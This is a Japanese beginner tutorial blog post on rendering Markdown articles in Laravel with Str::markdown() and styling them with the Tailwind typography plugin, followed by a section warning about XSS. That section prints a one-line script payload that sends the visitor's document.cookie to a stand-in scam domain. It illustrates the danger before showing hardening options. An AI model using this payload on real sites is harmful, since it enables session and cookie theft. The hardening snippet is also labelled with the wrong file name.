📝

【markdown4部作】第1部:【初級】Laravel標準の「Str::markdown()」で実装

に公開

前回、必要最低限のブログの機能を実装したので、今回は、
「記事の入力はMarkdown、表示はリッチなHTML」
というブログの機能を実装してみようと思います。
ウィジウィグを導入してみるのも検討してみましたが、いったんはマークダウンで投稿できるものを作ってみようかと思います。ウィジウィグを使うと余計なHTMLが生成されてしまったりするので、今回は、構造化された文章をサクサク書ける環境を目指してみようかと思います。

  • 管理画面は標準のテキストエリアで軽量に。
  • 表示側で CommonMark を使ってリッチに変換。

シンプルな実装をやってみようと思います。

今回実装する機能:Laravel標準のStr::markdown()でマークダウンでの記事の保存をできるようにする

  • 公開用コントローラーにshowメソッドの修正
  • 記事詳細画面のviewファイルの修正

1. コントローラーのshowメソッドを修正

/app/Http/Controllers/FrontendPostController.php
@@ -5,6 +5,7 @@
 use App\Models\Post;
 use App\Models\Category;
 use Illuminate\Http\Request;
+use Illuminate\Support\Str;
 
 class FrontendPostController extends Controller
 {
@@ -19,6 +20,9 @@ public function index()
 
     public function show(Post $post)
     {
+        // これだけで「GitHub風のMarkdown」が有効になります
+        $post->body_html = Str::markdown($post->body);
+
         // ルートモデルバインディングにより、$post には自動的に該当記事が入ります
         return view('frontend.posts.show', compact('post'));
     }

2. viewを修正

resources/views/frontend/posts/show.blade.php
@@ -21,8 +21,9 @@
                 @endforelse
             </div>
             
-            <div class="prose max-w-none text-lg leading-relaxed">
-                {!! nl2br(e($post->body)) !!}
+            {{-- 修正後:HTMLとしてレンダリングさせる --}}
+            <div class="prose max-w-none">
+                {!! $post->body_html !!}
             </div>

3. @tailwindcss/typographyのインストールと設定

1. そもそも、@tailwindcss/typographyとは何か。

@tailwindcss/typography は、一言でいうと「HTMLタグ(h1, p, ulなど)に、ブログらしい綺麗なデザインを一括で当ててくれるプラグイン」である。

1. なぜこれが必要なのか?(Tailwindの特性)

Tailwind CSSは、デフォルトで「Preflight(プレフライト)」というリセット機能を備えていて、ブラウザ間の表示のズレをなくすために、すべてのHTMLタグの標準デザインを「無」にするもものです。

  • <h1> を書いても、普通のテキストと同じ大きさになる。
  • <ul> を書いても、箇条書きの「・」が出ない。
  • <p> の間に余白が生まれない。

自作ブログでMarkdownを使う場合、変換されたHTML(h2やli)にいちいち class="text-2xl font-bold..." と手書きで付けていくことはできないので、このプラグインを使うと一発で解決できるらしい。

2. 何をしてくれるのか?

親要素に prose というクラスを一つ付けるだけで、その中にある「素のHTMLタグ」を自動的に美しく整えてくれるというもの。

サンプル
<div class="prose">
  <!-- この中にあるタグは全部ブログ風にデザインされる -->
  <h1>タイトル</h1>
  <p>本文です...</p>
  <ul>
    <li>箇条書き</li>
  </ul>
</div>
  • 見出し(h1~h6): 自動で大きく、太くなり、上下に余白がつく。
  • 本文(p): 読みやすい行間とフォントサイズになる。
  • リスト(ul, ol): ちゃんと「・」や「1.」が表示される。
  • リンク(a): 下線がつく。

これらのことを自動でやってくれるようになる。

2. インストール

以下のコマンドを実行して、@tailwindcss/typographyをインストールする。

(user_name)@hostname:~/blog-app$ ./vendor/bin/sail npm install -D @tailwindcss/typography

added 2 packages, and audited 142 packages in 3s

34 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities

3. 設定ファイルを修正

tailwind.config.jsを開いて、@tailwindcss/typographyをpluginに追加して使えるようにする。

/tailwind.config.js
@@ -1,5 +1,6 @@
 import defaultTheme from 'tailwindcss/defaultTheme';
 import forms from '@tailwindcss/forms';
+import typography from '@tailwindcss/typography';
 
 /** @type {import('tailwindcss').Config} */
 export default {
@@ -17,5 +18,8 @@ export default {
         },
     },
 
-    plugins: [forms],
+    plugins: [
+        forms,
+        typography,
+    ],
 };

4. 画面

以上の設定をすると、記事の表示が変わる。

管理画面でこんな感じで登録をする

記事画面に見出しや箇条書きがきれいに表示される

注意

1. 結論:今回の実装は「比較的安全」だが、注意が必要

結論から言うと、「信頼できる管理者だけが記事を書く」という前提なら問題ないのだが。しかし、不特定多数が書き込める場所(コメント欄など)で同じことをすると、サイトが乗っ取られる可能性があるので、注意が必要。

2. 何が起きるのか(XSS:クロスサイトスクリプティング)

もし、悪意のある人が管理画面から以下のようなコードを入力して保存したとします。

悪い記事
<script>location.href = 'https://詐欺サイト.com?cookie=' + document.cookie;</script>

これを {!! !!} で表示すると、ブラウザは「これはJavaScriptだ!」と判断して実行してしまう。

  • {{ }} の場合: <script> が <script> に変換(無害化)され、ただの文字として表示される。
  • {!! !!} の場合: そのまま実行され、閲覧者の情報が盗まれたり、勝手に別のサイトへ飛ばされたりする。

3. なぜ Str::markdown() は(ある程度)安全なのか

Laravelの Str::markdown() が内部で使っているライブラリは、デフォルトで「HTMLタグをそのまま通さない」ような設定になっているらしい。

さらに安全性を高めるには、第1部で紹介したコードに「HTMLタグを消す」という設定を明示的に加えるのがベストなので、以下のように修正してやる。

resources/views/frontend/posts/show.blade.php
     public function show(Post $post)
     {
+        // これだけで「GitHub風のMarkdown」が有効になります
+        $post->body_html = Str::markdown($post->body, [
+            'html_input' => 'strip', // HTMLタグを直接入力されても無視して削除する
+            'allow_unsafe_links' => false, // javascript: などの危険なリンクを禁止する
+        ]);

         // ルートモデルバインディングにより、$post には自動的に該当記事が入ります
         return view('frontend.posts.show', compact('post'));
     }

感想

マークダウン化するのは、すごく大変なのかなと思っていたのですが、Laravel標準のStr::markdown()での実装であれば、手軽にできるなと思いました。

次回

次回は、Str::markdown() に GitHub Flavored Markdown設定を加えて、テーブルや打ち消し線が使えるようにしたいと思います。

Discussion